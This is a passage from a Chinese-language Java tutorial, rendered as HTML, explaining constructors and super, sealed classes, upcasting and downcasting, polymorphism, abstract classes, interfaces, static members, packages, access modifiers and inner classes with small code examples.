&#125;&#125;</code></pre><p>&emsp;&emsp;实际上，这里使用<code>super.name</code>，或者<code>this.name</code>，或者<code>name</code>，效果都是一样的。编译器会自动定位到父类的<code>name</code>字段。</p><p>&emsp;&emsp;但是，在某些时候，就必须使用<code>super</code>。我们来看一个例子：</p><pre><code class="java">// superpublic class Main &#123;    public static void main(String[] args) &#123;        Student s = new Student(&quot;Xiao Ming&quot;, 12, 89);    &#125;&#125;class Person &#123;    protected String name;    protected int age;    public Person(String name, int age) &#123;        this.name = name;        this.age = age;    &#125;&#125;class Student extends Person &#123;    protected int score;    public Student(String name, int age, int score) &#123;        this.score = score;    &#125;&#125;</code></pre><p>&emsp;&emsp;运行上面的代码，会得到一个编译错误，大意是在<code>Student</code>的构造方法中，无法调用<code>Person</code>的构造方法。</p><p>&emsp;&emsp;这是因为在Java中，任何<code>class</code>的构造方法，第一行语句必须是调用父类的构造方法。如果没有明确地调用父类的构造方法，*编译器会帮我们自动加一句<code>super();</code>*，所以，<code>Student</code>类的构造方法实际上是这样：</p><pre><code class="java">class Student extends Person &#123;    protected int score;    public Student(String name, int age, int score) &#123;        super(); // 自动调用父类的构造方法        this.score = score;    &#125;&#125;</code></pre><p>&emsp;&emsp;但是，<code>Person</code>类并没有无参数的构造方法，因此，编译失败。</p><p>&emsp;&emsp;解决方法是调用<code>Person</code>类存在的某个构造方法。例如：</p><pre><code class="java">class Student extends Person &#123;    protected int score;    public Student(String name, int age, int score) &#123;        super(name, age); // 调用父类的构造方法Person(String, int)        this.score = score;    &#125;&#125;</code></pre><p>&emsp;&emsp;这样就可以正常编译了！</p><p>&emsp;&emsp;本质地说，即<font color="#ff9f9f"><strong>子类不会继承任何父类的构造方法</strong></font>。子类默认的构造方法是编译器自动生成的，不是继承的。如果父类没有默认的构造方法，子类就必须显式调用<code>super()</code>并给出参数以便让编译器定位到父类的一个合适的构造方法。</p><p>&emsp;&emsp;比较好的解决方法就是在子类的构造方式里写<code>super</code>，这样也能明确需要继承的字段，同时不易产生报错。</p><h5 id="阻止继承"><a href="#阻止继承" class="headerlink" title="阻止继承"></a>阻止继承</h5><p>&emsp;&emsp;正常情况下，只要某个class没有<code>final</code>修饰符，那么任何类都可以从该class继承。</p><p>&emsp;&emsp;从Java 15开始，允许使用<code>sealed</code>修饰class，并通过<code>permits</code>明确写出能够从该class继承的子类名称。</p><p>&emsp;&emsp;例如，定义一个<code>Shape</code>类：</p><pre><code class="java">public sealed class Shape permits Rect, Circle, Triangle &#123;    ...&#125;</code></pre><p>&emsp;&emsp;上述<code>Shape</code>类就是一个<code>sealed</code>类，它只允许指定的3个类继承它。</p><ul><li>final：不允许继承该类。</li><li>sealed+permits：仅允许permits的类继承该类。</li></ul><h5 id="向上转型"><a href="#向上转型" class="headerlink" title="向上转型"></a>向上转型</h5><p>&emsp;&emsp;如果<code>Student</code>是从<code>Person</code>继承下来的，那么，一个引用类型为<code>Person</code>的变量能指向<code>Student</code>类型的实例。</p><pre><code class="java">Person p = new Student();</code></pre><p>&emsp;&emsp;这是因为<code>Student</code>继承自<code>Person</code>，因此，它拥有<code>Person</code>的全部功能。<code>Person</code>类型的变量，如果指向<code>Student</code>类型的实例，对它进行操作，是没有问题的。</p><p>&emsp;&emsp;这种把一个子类类型安全地变为父类类型的赋值，被称为<font color="#ff9f9f"><strong>向上转型</strong></font>。</p><blockquote><p>由此我们可以知道，引用变量的声明类型和实际类型可能是不一样的。</p></blockquote><h5 id="向下转型"><a href="#向下转型" class="headerlink" title="向下转型"></a>向下转型</h5><p>&emsp;&emsp;如果把一个父类类型强制转型为子类类型，就是<font color="#ff9f9f"><strong>向下转型</strong></font>。例如：</p><pre><code class="java">Person p1 = new Student(); // upcasting(向上转型), okPerson p2 = new Person();Student s1 = (Student) p1; // okStudent s2 = (Student) p2; // runtime error! ClassCastException!</code></pre><p>&emsp;&emsp;把<code>p2</code>转型为<code>Student</code>会失败，因为<code>p2</code>的实际类型是<code>Person</code>，不能把父类变为子类，因为子类功能比父类多，多的功能无法凭空变出来。因此，向下转型很可能会失败。失败的时候，Java虚拟机会报<code>ClassCastException</code>。</p><p>&emsp;&emsp;为了避免向下转型出错，Java提供了<code>instanceof</code>操作符，可以先判断一个实例究竟是不是某种类型。<code>instanceof</code>实际上判断一个变量所指向的实例是否是指定类型，或者这个类型的子类。如果一个引用变量为<code>null</code>，那么对任何<code>instanceof</code>的判断都为<code>false</code>。</p><p>&emsp;&emsp;从Java 14开始，判断<code>instanceof</code>后，<em>可以直接转型为指定变量</em>，避免再次强制转型。例如，对于以下代码：</p><pre><code class="java">Object obj = &quot;hello&quot;;if (obj instanceof String) &#123;    String s = (String) obj;    System.out.println(s.toUpperCase());&#125;</code></pre><p>&emsp;&emsp;可以改写如下：</p><pre><code class="java">// instanceof variable:public class Main &#123;    public static void main(String[] args) &#123;        Object obj = &quot;hello&quot;;        if (obj instanceof String s) &#123;            // 可以直接使用变量s:            System.out.println(s.toUpperCase());        &#125;    &#125;&#125;</code></pre><p>&emsp;&emsp;这种使用<code>instanceof</code>的写法更加简洁。</p><h4 id="多态"><a href="#多态" class="headerlink" title="多态"></a>多态</h4><h5 id="覆写与动态调用"><a href="#覆写与动态调用" class="headerlink" title="覆写与动态调用"></a>覆写与动态调用</h5><p>&emsp;&emsp;在继承关系中，子类如果定义了一个与父类方法签名完全相同的方法，被称为<font color="#ff9f9f"><strong>覆写（Override）</strong></font>。</p><blockquote><p>方法声明的两个组件构成了方法签名：<font color="#ff9f9f"><strong>方法的名称</strong></font>和<font color="#ff9f9f"><strong>参数类型</strong></font>。<br>例如，这里是一个典型的方法声明:</p><pre><code>public double calculateAnswer(double wingSpan, int numberOfEngines,                           double length, double grossTons) &#123; //do the calculation here&#125;</code></pre><p>上面方法的签名是:<code>calculateAnswer(double, int, double, double)</code></p></blockquote><p>&emsp;&emsp;例如，在<code>Person</code>类中，定义<code>run()</code>方法：</p><pre><code class="java">class Person &#123;    public void run() &#123;        System.out.println(&quot;Person.run&quot;);    &#125;&#125;</code></pre><p>&emsp;&emsp;在子类<code>Student</code>中，覆写这个<code>run()</code>方法：</p><pre><code class="java">class Student extends Person &#123;    @Override    public void run() &#123;        System.out.println(&quot;Student.run&quot;);    &#125;&#125;</code></pre><p>&emsp;&emsp;如果方法签名不同，就是<code>Overload</code>。<code>Overload</code>方法是一个新方法；如果方法签名相同，并且返回值也相同，就是<code>Override</code>。</p><p>&emsp;&emsp;加上<code>@Override</code>可以让编译器帮助检查是否进行了正确的覆写。希望进行覆写，但是不小心写错了方法签名，编译器会报错，但是<code>@Override</code>不是必需的。</p><p>&emsp;&emsp;在上一节中，我们已经知道，引用变量的声明类型可能与其实际类型不符，例如：</p><pre><code class="java">Person p = new Student();</code></pre><p>&emsp;&emsp;现在，如果子类覆写了父类的方法：</p><pre><code class="java">// overridepublic class Main &#123;    public static void main(String[] args) &#123;        Person p = new Student();        p.run(); // 应该打印Person.run还是Student.run?    &#125;&#125;class Person &#123;    public void run() &#123;        System.out.println(&quot;Person.run&quot;);    &#125;&#125;class Student extends Person &#123;    @Override    public void run() &#123;        System.out.println(&quot;Student.run&quot;);    &#125;&#125;</code></pre><p>&emsp;&emsp;那么，一个实际类型为<code>Student</code>，引用类型为<code>Person</code>的变量，调用其<code>run()</code>方法，调用的是<code>Person</code>还是<code>Student</code>的<code>run()</code>方法？</p><p>&emsp;&emsp;运行一下上面的代码就可以知道，实际上调用的方法是<code>Student</code>的<code>run()</code>方法。因此可得出结论：</p><p>&emsp;&emsp;<font color="#ff9f9f"><strong>Java的实例方法调用是基于运行时的实际类型的动态调用，而非变量的声明类型。</strong></font></p><p>&emsp;&emsp;这个非常重要的特性在面向对象编程中称之为<font color="#ff9f9f"><strong>多态(Polymorphic)</strong></font>。</p><h5 id="多态"><a href="#多态-1" class="headerlink" title="多态"></a>多态</h5><p>&emsp;&emsp;多态是指，针对某个类型的方法调用，其真正执行的方法取决于运行时期实际类型的方法。</p><p>&emsp;&emsp;多态的特性是<strong>运行期才能动态决定调用的子类方法</strong>。对某个类型调用某个方法，执行的实际方法可能是某个子类的覆写方法。这种不确定性的方法调用，究竟有什么作用？</p><p>&emsp;&emsp;假设我们定义一种收入，需要给它报税，那么先定义一个<code>Income</code>类。对于工资收入，可以减去一个基数，那么我们可以从<code>Income</code>派生出<code>SalaryIncome</code>，并覆写<code>getTax()</code>。如果你享受国务院特殊津贴，那么按照规定，可以全部免税：</p><p>&emsp;&emsp;现在，我们要编写一个报税的财务软件，对于一个人的所有收入进行报税。可以这么写：</p><pre><code class="java">public class Main &#123;    public static void main(String[] args) &#123;        // 给一个有普通收入、工资收入和享受国务院特殊津贴的小伙伴算税:        Income[] incomes = new Income[] &#123;            new Income(3000),            new Salary(7500),            new StateCouncilSpecialAllowance(15000)        &#125;;        System.out.println(totalTax(incomes));    &#125;    public static double totalTax(Income... incomes) &#123;        double total = 0;        for (Income income: incomes) &#123;            total = total + income.getTax();        &#125;        return total;    &#125;&#125;class Income &#123;    protected double income;    public Income(double income) &#123;        this.income = income;    &#125;    public double getTax() &#123;        return income * 0.1; // 税率10%    &#125;&#125;class Salary extends Income &#123; //仅工资税收时    public Salary(double income) &#123;        super(income);    &#125;    @Override    public double getTax() &#123;        if (income &lt;= 5000) &#123;            return 0;        &#125;        return (income - 5000) * 0.2;    &#125;&#125;class StateCouncilSpecialAllowance extends Income &#123; //享受津贴时    public StateCouncilSpecialAllowance(double income) &#123;        super(income);    &#125;    @Override    public double getTax() &#123;        return 0;    &#125;&#125;</code></pre><p>&emsp;&emsp;利用多态，<code>totalTax()</code>方法只需要和<code>Income</code>打交道，它完全不需要知道<code>Salary</code>和<code>StateCouncilSpecialAllowance</code>的存在，就可以正确计算出总的税。如果我们要新增一种稿费收入，只需要从<code>Income</code>派生，然后正确覆写<code>getTax()</code>方法就可以。把新的类型传入<code>totalTax()</code>，不需要修改任何代码。</p><p>&emsp;&emsp;可见，多态具有一个非常强大的功能，就是允许添加更多类型的子类实现功能扩展，却不需要修改基于父类的代码。</p><h5 id="覆写object方法"><a href="#覆写Object方法" class="headerlink" title="覆写Object方法"></a>覆写Object方法</h5><p>&emsp;&emsp;因为所有的<code>class</code>最终都继承自<code>Object</code>，而<code>Object</code>定义了几个重要的方法：</p><ul><li><code>toString()</code>：把instance输出为<code>String</code>；</li><li><code>equals()</code>：判断两个instance是否逻辑相等；</li><li><code>hashCode()</code>：计算一个instance的哈希值。</li></ul><p>&emsp;&emsp;在必要的情况下，我们可以覆写<code>Object</code>的这几个方法。</p><h5 id="调用super"><a href="#调用super" class="headerlink" title="调用super"></a>调用super</h5><p>&emsp;&emsp;在子类的覆写方法中，如果要调用父类的被覆写的方法，可以通过<code>super</code>来调用。例如：</p><pre><code class="java">class Person &#123;    protected String name;    public String hello() &#123;        return &quot;Hello, &quot; + name;    &#125;&#125;class Student extends Person &#123;    @Override    public String hello() &#123;        // 调用父类的hello()方法:        return super.hello() + &quot;!&quot;;    &#125;&#125;</code></pre><h5 id="final"><a href="#final" class="headerlink" title="final"></a>final</h5><p>&emsp;&emsp;继承可以允许子类覆写父类的方法。如果一个父类不允许子类对它的某个方法进行覆写，可以把该方法标记为<code>final</code>。用<code>final</code>修饰的方法不能被<code>Override</code>：</p><pre><code class="java">class Person &#123;    protected String name;    public final String hello() &#123;        return &quot;Hello, &quot; + name;    &#125;&#125;class Student extends Person &#123;    // compile error: 不允许覆写    @Override    public String hello() &#123;    &#125;&#125;</code></pre><h4 id="抽象类"><a href="#抽象类" class="headerlink" title="抽象类"></a>抽象类</h4><h5 id="抽象类与抽象方法"><a href="#抽象类与抽象方法" class="headerlink" title="抽象类与抽象方法"></a>抽象类与抽象方法</h5><p>&emsp;&emsp;如果一个<code>class</code>定义了方法，但没有具体执行代码，这个方法就是<font color="#ff9f9f"><strong>抽象方法</strong></font>，抽象方法用<code>abstract</code>修饰。</p><p>&emsp;&emsp;因为无法执行抽象方法，因此这个类也必须声明为<font color="#ff9f9f"><strong>抽象类（abstract class）</strong></font>。使用<code>abstract</code>修饰的类就是抽象类。我们无法实例化一个抽象类。</p><p>&emsp;&emsp;因为抽象类本身被设计成只能用于被继承，因此，抽象类可以强迫子类实现其定义的抽象方法，否则编译会报错。因此，抽象方法实际上相当于定义了“规范”。</p><p>&emsp;&emsp;例如，<code>Person</code>类定义了抽象方法<code>run()</code>，那么，在实现子类<code>Student</code>的时候，就必须覆写<code>run()</code>方法：</p><pre><code class="java">// abstract classpublic class Main &#123;    public static void main(String[] args) &#123;        Person p = new Student();        p.run();    &#125;&#125;abstract class Person &#123;    public abstract void run();&#125;class Student extends Person &#123;    @Override    public void run() &#123;        System.out.println(&quot;Student.run&quot;);    &#125;&#125;</code></pre><h4 id="接口"><a href="#接口" class="headerlink" title="接口"></a>接口</h4><h5 id="interface和implements"><a href="#interface和implements" class="headerlink" title="interface和implements"></a>interface和implements</h5><p>&emsp;&emsp;在抽象类中，抽象方法本质上是定义接口规范：即规定高层类的接口，从而保证所有子类都有相同的接口实现，这样，多态就能发挥出威力。</p><p>&emsp;&emsp;如果一个抽象类没有字段，所有方法全部都是抽象方法，就可以把该抽象类改写为接口：<code>interface</code>。在Java中，使用<code>interface</code>可以声明一个接口：</p><pre><code class="java">interface Person &#123;    void run();    String getName();&#125;/*等同于：abstract class Person &#123;    public abstract void run();    public abstract String getName();&#125;*/</code></pre><p>&emsp;&emsp;所谓<code>interface</code>，就是比抽象类还要抽象的<font color="#ff9f9f"><strong>纯抽象接口</strong></font>，因为它连字段都不能有。因为接口定义的所有方法默认都是<code>public abstract</code>的，所以不需要写这两个修饰符。</p><p>&emsp;&emsp;当一个具体的<code>class</code>去实现一个<code>interface</code>时，需要使用<code>implements</code>关键字。例如：</p><pre><code class="java">class Student implements Person &#123;    private String name;    public Student(String name) &#123;        this.name = name;    &#125;    @Override    public void run() &#123;        System.out.println(this.name + &quot; run&quot;);    &#125;    @Override    public String getName() &#123;        return this.name;    &#125;&#125;</code></pre><p>&emsp;&emsp;我们知道，在Java中，一个类只能继承自另一个类，不能从多个类继承。但是，一个类可以实现多个<code>interface</code>，例如：</p><pre><code class="java">class Student implements Person, Hello &#123; // 实现了两个interface    ...&#125;</code></pre><h5 id="接口继承"><a href="#接口继承" class="headerlink" title="接口继承"></a>接口继承</h5><p>&emsp;&emsp;一个<code>interface</code>可以继承自另一个<code>interface</code>。<code>interface</code>继承自<code>interface</code>使用<code>extends</code>，它相当于扩展了接口的方法。例如：</p><pre><code class="java">interface Hello &#123;    void hello();&#125;interface Person extends Hello &#123;    void run();    String getName();&#125;</code></pre><p>&emsp;&emsp;此时，<code>Person</code>接口继承自<code>Hello</code>接口，因此，<code>Person</code>接口现在实际上有3个抽象方法签名，其中一个来自继承的<code>Hello</code>接口。</p><h5 id="default方法"><a href="#default方法" class="headerlink" title="default方法"></a>default方法</h5><p><em>在接口中</em>，可以定义<code>default</code>方法。例如，把<code>Person</code>接口的<code>run()</code>方法改为<code>default</code>方法：</p><pre><code class="java">// interfacepublic class Main &#123;    public static void main(String[] args) &#123;        Person p = new Student(&quot;Xiao Ming&quot;);        p.run();    &#125;&#125;interface Person &#123;    String getName();    default void run() &#123;        System.out.println(getName() + &quot; run&quot;);    &#125;&#125;class Student implements Person &#123;    private String name;    public Student(String name) &#123;        this.name = name;    &#125;    public String getName() &#123;        return this.name;    &#125;&#125;</code></pre><p>&emsp;&emsp;实现类可以不必覆写<code>default</code>方法。<code>default</code>方法的目的是，当我们需要给接口新增一个方法时，会涉及到修改全部子类。如果新增的是<code>default</code>方法，那么子类就不必全部修改，只需要在需要覆写的地方去覆写新增方法。</p><p>&emsp;&emsp;<code>default</code>方法和抽象类的普通方法是有所不同的。因为<code>interface</code>没有字段，<code>default</code>方法无法访问字段，而抽象类的普通方法可以访问实例字段。</p><h4 id="静态字段和静态方法"><a href="#静态字段和静态方法" class="headerlink" title="静态字段和静态方法"></a>静态字段和静态方法</h4><h5 id="静态字段"><a href="#静态字段" class="headerlink" title="静态字段"></a>静态字段</h5><p>&emsp;&emsp;在一个<code>class</code>中定义的字段，我们称之为实例字段。实例字段的特点是，每个实例都有独立的字段，各个实例的同名字段互不影响。</p><p>&emsp;&emsp;还有一种字段，是用<code>static</code>修饰的字段，称为<font color="#ff9f9f"><strong>静态字段</strong></font>。虽然实例可以访问静态字段，但是它们指向的其实都是<code>Person class</code>的静态字段。所以，所有实例共享一个静态字段。如下例：</p><pre><code class="java">// static fieldpublic class Main &#123;    public static void main(String[] args) &#123;        Person ming = new Person(&quot;Xiao Ming&quot;, 12);        Person hong = new Person(&quot;Xiao Hong&quot;, 15);        ming.number = 88;        System.out.println(hong.number);        hong.number = 99;        System.out.println(ming.number);    &#125;&#125;class Person &#123;    public String name;    public int age;    public static int number;    public Person(String name, int age) &#123;        this.name = name;        this.age = age;    &#125;&#125;//运行后不能论哪个实例调用number，其值都是99</code></pre><p>&emsp;&emsp;静态字段并不属于实例。实例对象能访问静态字段只是因为编译器可以根据实例类型自动转换为<code>类名.静态字段</code>来访问静态对象。可以把静态字段理解为描述<code>class</code>本身的字段。</p><h5 id="静态方法"><a href="#静态方法" class="headerlink" title="静态方法"></a>静态方法</h5><p>&emsp;&emsp;用<code>static</code>修饰的方法称为静态方法。</p><p>&emsp;&emsp;调用静态方法则<em>不需要实例变量</em>，通过类名就可以调用。静态方法类似其它编程语言的函数。例如：</p><pre><code class="java">// static methodpublic class Main &#123;    public static void main(String[] args) &#123;        Person.setNumber(99);        System.out.println(Person.number);    &#125;&#125;class Person &#123;    public static int number;    public static void setNumber(int value) &#123;        number = value;    &#125;&#125;</code></pre><p>&emsp;&emsp;因为静态方法属于<code>class</code>而不属于实例，因此，静态方法内部，无法访问<code>this</code>变量，也无法访问实例字段，它只能访问静态字段。</p><p>&emsp;&emsp;通过实例变量也可以调用静态方法，但这只是编译器自动帮我们把实例改写成类名而已。但通常情况下，通过实例变量访问静态字段和静态方法，会得到一个编译警告。</p><blockquote><p>Java程序的入口<code>main()</code>也是静态方法。</p></blockquote><h5 id="接口的静态字段"><a href="#接口的静态字段" class="headerlink" title="接口的静态字段"></a>接口的静态字段</h5><p>&emsp;&emsp;因为<code>interface</code>是一个纯抽象类，所以它不能定义实例字段。但是，<code>interface</code>是可以有静态字段的，并且静态字段必须为<code>final</code>类型：</p><pre><code class="java">public interface Person &#123;    public static final int MALE = 1;    public static final int FEMALE = 2;&#125;</code></pre><p>&emsp;&emsp;实际上，因为<code>interface</code>的字段只能是<code>public static final</code>类型，所以我们可以把这些修饰符都去掉，上述代码可以简写为：</p><pre><code class="java">public interface Person &#123;    // 编译器会自动加上public static final:    int MALE = 1;    int FEMALE = 2;&#125;</code></pre><h4 id="包"><a href="#包" class="headerlink" title="包"></a>包</h4><p>&emsp;&emsp;在Java中，我们使用<code>package</code>来解决名字冲突。Java定义了一种名字空间，称之为<font color="#ff9f9f"><strong>包(package)</strong></font>。一个类总是属于某个包，类名（比如<code>Person</code>）只是一个简写，真正的完整类名是<code>包名.类名</code>。例如，JDK的<code>Arrays</code>类存放在包<code>java.util</code>下面，因此，完整类名是<code>java.util.Arrays</code>。</p><p>&emsp;&emsp;在定义<code>class</code>的时候，我们需要在第一行声明这个<code>class</code>属于哪个包。比如小明的<code>Person.java</code>文件：</p><pre><code class="java">package ming; // 申明包名mingpublic class Person &#123;&#125;</code></pre><p>&emsp;&emsp;在Java虚拟机执行的时候，JVM只看完整类名，因此，只要包名不同，类就不同。包可以是多层结构，用<code>.</code>隔开。例如：<code>java.util</code>。</p><blockquote><p>要注意<font color="#ff9f9f"><strong>包没有父子关系，java.util和java.util.zip是不同的包，两者没有任何继承关系。</strong></font></p></blockquote><p>&emsp;&emsp;没有定义包名的<code>class</code>，它使用的是默认包，非常容易引起名字冲突，因此，不推荐不写包名的做法。</p><p>&emsp;&emsp;我们还需要按照包结构把上面的Java文件组织起来。假设以<code>package_sample</code>作为根目录，<code>src</code>作为源码目录，那么所有文件结构如下图，即所有Java文件对应的目录层次要和包的层次一致。</p><pre><code>package_sample└─ src    ├─ hong    │  └─ Person.java    │  ming    │  └─ Person.java    └─ mr       └─ jun          └─ Arrays.java</code></pre><p>&emsp;&emsp;编译后的<code>.class</code>文件也需要按照包结构存放。这样的组织是有必要的，为之后导入其他包打下基础，使导入更加方便清晰。</p><h5 id="包作用域"><a href="#包作用域" class="headerlink" title="包作用域"></a>包作用域</h5><p>&emsp;&emsp;位于同一个包的类，可以访问包作用域的字段和方法。不用<code>public</code>、<code>protected</code>、<code>private</code>修饰的字段和方法就是包作用域。例如，<code>Person</code>类定义在<code>hello</code>包下面，<code>Main</code>类也定义在<code>hello</code>包下面</p><pre><code class="java">package hello;public class Main &#123;    public static void main(String[] args) &#123;        Person p = new Person();        p.hello(); // 可以调用，因为Main和Person在同一个包    &#125;&#125;public class Person &#123;    void hello() &#123;        System.out.println(&quot;Hello!&quot;);    &#125;&#125;</code></pre><h5 id="import"><a href="#import" class="headerlink" title="import"></a>import</h5><p>&emsp;&emsp;在一个<code>class</code>中，我们总会引用其他的<code>class</code>。例如，小明的<code>ming.Person</code>类，如果要引用小军的<code>mr.jun.Arrays</code>类，有三种写法：</p><ul><li><p>第一种，直接写出完整类名。然而很多类名写起来很长，这显然不方便。</p></li><li><p>第二种写法是用<code>import</code>语句，导入小军的<code>Arrays</code>，然后写简单类名：</p></li></ul><pre><code class="java">// Person.javapackage ming;// 导入完整类名:import mr.jun.Arrays;public class Person &#123;    public void run() &#123;        // 写简单类名: Arrays        Arrays arrays = new Arrays();    &#125;&#125;</code></pre><p>&emsp;&emsp;在写<code>import</code>的时候，可以使用<code>*</code>，表示把这个包下面的所有<code>class</code>都导入进来（*但不包括子包的<code>class</code>*），如下。</p><pre><code class="java">// Person.javapackage ming;// 导入mr.jun包的所有class:import mr.jun.*;</code></pre><p>&emsp;&emsp;但我们一般不推荐这种写法，因为在导入了多个包后，很难看出<code>Arrays</code>类属于哪个包。</p><ul><li>还有一种<code>import static</code>的语法，它可以导入一个类的静态字段和静态方法。这个方法很少使用。</li></ul><pre><code class="java">package main;// 导入System类的所有静态字段和静态方法:import static java.lang.System.*;</code></pre><p>&emsp;&emsp;Java编译器最终编译出的<code>.class</code>文件只使用<em>完整类名</em>，因此，在代码中，当编译器遇到一个<code>class</code>名称时：</p><ul><li>如果是完整类名，就直接根据完整类名查找这个<code>class</code>；</li><li>如果是简单类名，按下面的顺序依次查找：<ul><li>查找当前<code>package</code>是否存在这个<code>class</code>；</li><li>查找<code>import</code>的包是否包含这个<code>class</code>；</li><li>查找<code>java.lang</code>包是否包含这个<code>class</code>。</li></ul></li></ul><blockquote><p>在读反编译出来的代码时，这是个不错的策略。</p></blockquote><p>&emsp;&emsp;编写class的时候，编译器会自动帮我们做两个import动作：</p><ul><li>默认自动<code>import</code>当前<code>package</code>的其他<code>class</code>； </li><li>默认自动<code>import java.lang.*</code>。</li></ul><blockquote><p>注意，如果有两个<code>class</code>名称相同，例如，<code>mr.jun.Arrays</code>和<code>java.util.Arrays</code>，那么只能<code>import</code>其中一个，另一个必须写完整类名。</p></blockquote><h5 id="编译与运行"><a href="#编译与运行" class="headerlink" title="编译与运行"></a>编译与运行</h5><p>&emsp;&emsp;假设我们创建了如下的目录结构：</p><pre><code>work├── bin└── src    └── com        └── itranswarp            ├── sample            │   └── Main.java            └── world                └── Person.java</code></pre><p>&emsp;&emsp;其中，<code>bin</code>目录用于存放编译后的<code>class</code>文件，<code>src</code>目录按包结构存放Java源码，我们怎么一次性编译这些Java源码呢？</p><p>&emsp;&emsp;在linux中，编译<code>src</code>目录下的所有Java文件：</p><pre><code class="plain">$ javac -d ./bin src/**/*.java</code></pre><p>&emsp;&emsp;命令行<code>-d</code>指定输出的<code>class</code>文件存放<code>bin</code>目录，后面的参数<code>src/**/*.java</code>表示<code>src</code>目录下的所有<code>.java</code>文件，包括任意深度的子目录。</p><blockquote><p>注意：Windows不支持<code>**</code>这种搜索全部子目录的做法，所以在Windows下编译必须依次列出所有<code>.java</code>文件：</p><pre><code class="plain">C:\work&gt; javac -d bin src\com\itranswarp\sample\Main.java src\com\itranswarp\world\Persion.java</code></pre></blockquote><h4 id="作用域"><a href="#作用域" class="headerlink" title="作用域"></a>作用域</h4><h5 id="public"><a href="#public" class="headerlink" title="public"></a>public</h5><p>&emsp;&emsp;定义为<code>public</code>的<code>class</code>、<code>interface</code>可以被其他任何类访问，前提是首先有访问<code>class</code>的权限(即在同个包作用域内)。</p><h5 id="private"><a href="#private" class="headerlink" title="private"></a>private</h5><p>&emsp;&emsp;<code>private</code>访问权限被限定在<code>class</code>的内部，而且与方法声明顺序<em>无关</em>。推荐把<code>private</code>方法放到后面，因为<code>public</code>方法定义了类对外提供的功能，阅读代码的时候，应该先关注<code>public</code>方法。</p><p>&emsp;&emsp;由于Java支持嵌套类，如果一个类内部还定义了嵌套类，那么，嵌套类拥有访问<code>private</code>的权限：</p><pre><code class="java">// privatepublic class Main &#123;    public static void main(String[] args) &#123;        Inner i = new Inner();        i.hi();    &#125;    // private方法:    private static void hello() &#123;        System.out.println(&quot;private hello!&quot;);    &#125;    // 静态内部类:    static class Inner &#123;        public void hi() &#123;            Main.hello();        &#125;    &#125;&#125;</code></pre><p>&emsp;&emsp;定义在一个<code>class</code>内部的<code>class</code>称为<font color="#ff9f9f"><strong>嵌套类（<code>nested class</code>）</strong></font>，Java支持好几种嵌套类。</p><h5 id="protected"><a href="#protected-1" class="headerlink" title="protected"></a>protected</h5><p>&emsp;&emsp;<code>protected</code>作用于继承关系。定义为<code>protected</code>的字段和方法可以被子类访问，以及子类的子类。</p><h5 id="package"><a href="#package" class="headerlink" title="package"></a>package</h5><p>&emsp;&emsp;最后，包作用域是指一个类允许访问同一个<code>package</code>的没有<code>public</code>、<code>private</code>修饰的<code>class</code>，以及没有<code>public</code>、<code>protected</code>、<code>private</code>修饰的字段和方法。</p><h5 id="局部变量"><a href="#局部变量" class="headerlink" title="局部变量"></a>局部变量</h5><p>&emsp;&emsp;在方法内部定义的变量称为局部变量，局部变量作用域从变量声明处开始到对应的块结束。方法参数也是局部变量。</p><pre><code class="java">package abc;public class Hello &#123;    void hi(String name) &#123; // 1        String s = name.toLowerCase(); // 2        int len = s.length(); // 3        if (len &lt; 10) &#123; // 4            int p = 10 - len; // 5            for (int i=0; i&lt;10; i++) &#123; // 6                System.out.println(); // 7            &#125; // 8        &#125; // 9    &#125; // 10&#125;</code></pre><p>&emsp;&emsp;根据以上代码，可知：</p><ul><li>方法参数name是局部变量，它的作用域是整个方法，即1 ~ 10；</li><li>变量s的作用域是定义处到方法结束，即2 ~ 10；</li><li>变量len的作用域是定义处到方法结束，即3 ~ 10；</li><li>变量p的作用域是定义处到if块结束，即5 ~ 9；</li><li>变量i的作用域是for循环，即6 ~ 8。</li></ul><p>&emsp;&emsp;使用局部变量时，应该尽可能把局部变量的作用域缩小，尽可能延后声明局部变量。</p><h5 id="final"><a href="#final-1" class="headerlink" title="final"></a>final</h5><p>&emsp;&emsp;<code>final</code>与访问权限不冲突，它有很多作用。</p><ul><li>用<code>final</code>修饰<code>class</code>可以阻止被继承</li><li>用<code>final</code>修饰<code>method</code>可以阻止被子类覆写</li><li>用<code>final</code>修饰<code>field(字段)</code>可以阻止被重新赋值</li><li>用<code>final</code>修饰局部变量可以阻止被重新赋值</li></ul><h5 id="注意事项"><a href="#注意事项" class="headerlink" title="注意事项"></a>注意事项</h5><p>&emsp;&emsp;<font color="#ff9f9f"><strong>一个<code>.java</code>文件只能包含一个<code>public</code>类</strong></font>，但可以包含多个非<code>public</code>类。如果有<code>public</code>类，文件名必须和<code>public</code>类的名字相同。</p><h4 id="内部类"><a href="#内部类" class="headerlink" title="内部类"></a>内部类</h4><p>&emsp;&emsp;在Java程序中，通常情况下，我们把不同的类组织在不同的包下面，对于一个包下面的类来说，它们是在同一层次，没有父子关系：</p><pre><code>java.lang├── Math├── Runnable├── String└── ...</code></pre><p>&emsp;&emsp;还有一种类，它被定义在另一个类的内部，所以称为<font color="#ff9f9f"><strong>内部类（Nested Class）</strong></font>。Java的内部类分为好几种。</p><h5 id="inner-class"><a href="#Inner-Class" class="headerlink" title="Inner Class"></a>Inner Class</h5><p>&emsp;&emsp;如果一个类定义在另一个类的内部，这个类就是Inner Class：</p><pre><code class="java">class Outer &#123;    class Inner &#123;        // 定义了一个Inner Class    &#125;&#125;</code></pre><p>&emsp;&emsp;上述定义的<code>Outer</code>是一个普通类，而<code>Inner</code>是一个Inner Class，它与普通类最大的不同就是Inner Class的实例不能单独存在，必须依附于一个Outer Class的实例：</p><pre><code class="java">// inner classpublic class Main &#123;    public static void main(String[] args) &#123;        Outer outer = new Outer(&quot;Nested&quot;); // 实例化一个Outer        Outer.Inner inner = outer.new Inner(); // 实例化一个Inner        inner.hello();    &#125;&#125;class Outer &#123;    private String name;    Outer(String name) &#123;        this.name = name;    &#125;    class Inner &#123;        void hello() &#123;            System.out.println(&quot;Hello, &quot; + Outer.this.name);        &#125;    &#125;&#125;</code></pre><p>&emsp;&emsp;观察上述代码，要实例化一个<code>Inner</code>，我们必须首先创建一个<code>Outer</code>的实例，然后，调用<code>Outer</code>实例的<code>new</code>来创建<code>Inner</code>实例：</p><pre><code class="java">Outer.Inner inner = outer.new Inner();</code></pre><p>&emsp;&emsp;这是因为Inner Class除了有一个<code>this</code>指向它自己，还隐含地持有一个Outer Class实例，可以用<code>Outer.this</code>访问这个实例。所以，实例化一个Inner Class不能脱离Outer实例。</p><p>&emsp;&emsp;Inner Class和普通Class相比，除了能引用Outer实例外，还可以修改Outer Class的<code>private</code>字段，因为Inner Class的作用域在Outer Class内部，所以能访问Outer 